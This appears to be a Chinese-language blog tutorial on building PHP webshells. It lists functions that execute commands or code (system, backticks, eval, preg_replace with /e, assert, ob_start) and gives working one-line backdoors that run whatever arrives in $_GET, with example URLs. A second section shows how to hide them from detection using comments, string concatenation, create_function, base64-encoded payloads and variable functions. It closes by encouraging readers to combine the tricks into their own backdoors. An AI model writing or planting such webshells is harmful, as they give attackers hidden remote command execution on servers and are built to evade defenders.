0x1 原理 1、執行系統命令的函數 proc_open, popen, exec, shell_exec,passthru,system 這里只給出兩個例子,其他的可以查看php手冊編寫 system() ? php system($_GET[‘input’]); ? http://192.168.247.133:81/shell.php?input=dir “執行命令 “執行命令等…
0x1 原理
1、執行系統命令的函數
proc_open, popen, exec, shell_exec,passthru,system
這里只給出兩個例子,其他的可以查看php手冊編寫
system()
- <?php
- system($_GET[‘input’]);
- ?>
http://192.168.247.133:81/shell.php?input=dir
““”執行命令
“執行命令等價于shell_exec()函數來執行命令。
- <?php
- echo`$_GET[input]`;
- ?>
http://192.168.247.133:81/shell.php?input=dir
再來個更短的
- <?=@`$_GET[c]`?>
http://192.168.247.133:81/shell.php?c=dir
注:這個要開啟short_open_tag的,不過默認為on
2、可以執行代碼的函數
eval() 函數把字符串按照PHP 代碼來計算,該字符串必須是合法的PHP 代碼,且必須以分號結尾。
- <?php
- eval($_GET[‘input’]);
- ?>
正則表達式
Preg_replace函數的作用是用來執行常規表達式的查找和替換的,Mixed preg_replace(mixed pattern, mixed replacement, mixed subject,int limit, int &count)其中,Pattern是用來查找的常規表達式,replacement是用來替換的字符串,submit是要查找替換的字符串,limit是可以替換的字符串數,count是成功替換的數目。函數將返回替換后的字符串,當Pattern參數使用/e修正符時,preg_replace函數會將replacement參數當作PHP代碼執行。
- <?php
- preg_replace(“//e”,$_GET[‘input’],”qingsh4n”);
- ?>
assert()
assert這個函數在php語言中是用來判斷一個表達式是否成立。但是其字符串參數會被執行。
- <?php
- assert($_GET[‘input’]);
- ?>
ob_start()
- <?php
- $foobar =$_GET[‘input1’];
- ob_start($foobar);
- echo$_GET[‘input2’];
- ob_end_flush();
- ?>
http://192.168.247.133:81/shell.php?input1=system&input2=dir
更多的函數需要同志們去挖掘。
0x2 如何混淆
1、注釋/**/
- <?php
- assert/**/($/**/{“_GET”}[‘input’]);
- ?>
2、連接號
php中“.”為字符串連接符號
- <?php
- $var =”a”;
- $var .=”ss”;
- $var .=”er”;
- $var .=”t”;
- $var($_GET[‘input’]);
- ?>
注:測試時發現,echo()、eval()等函數無效。
3、創建函數
create_function() 創建一個匿名函數
- <?php
- $foobar =$_GET[‘input’];
- $dyn_func =create_function(‘$qingsh4n’, “echo $foobar;”);
- $dyn_func(”);
- ?>
5、編碼函數,base64等
- <?php
- assert(base64_decode(‘ZXZhbCgkX0dFVFsnaW5wdXQnXSk7’));
- ?>
注:其他的編碼函數有gzinflate()、gzuncompress()、gzdecode()、str_rot13()等,可以查看php手冊編寫。
6、可變函數
PHP 支持可變函數的概念。這意味著如果一個變量名后有圓括號,PHP 將尋找與變量的值同名的函數,并且嘗試執行它。
- <?php
- $dyn_func =$_GET[‘dyn_func’];
- $argument =$_GET[‘argument’];
- $dyn_func($argument);
- ?>
如果register_globals=on時,代碼可以改為如下形式:
- <?php
- $input1($input2);
- ?>
http://192.168.247.133:81/shell.php?input1=system&input2=dir
注:同樣可以利用call_user_func()、array_walk()等函數
0x3 編寫自己的webshell
通過上面的知識,可以任意組合上面寫到的代碼執行和混淆技術,編寫屬于自己的php后門應該是順手拈來的事,如果誰有好的發現或者是奇淫技巧記得告訴我。最后附上酷殼上面關于hello world的6種變態寫法,也許在這里面會找到些許靈感。
0x4 參考
http://www.php.net/
http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html#sec22
http://www.t00ls.net/viewthread.php?tid=18951
http://hi.baidu.com/monyer/item/a218dbadf2afc7a828ce9d63
http://h.ackack.net/tiny-php-shell.html
http://www.rising.com.cn/newsletter/news/2012-06-27/11810.html
ps:本來想好好寫完的,但是看到moyer牛那篇文章后,一下子感覺寫的這些都蒼白無力了。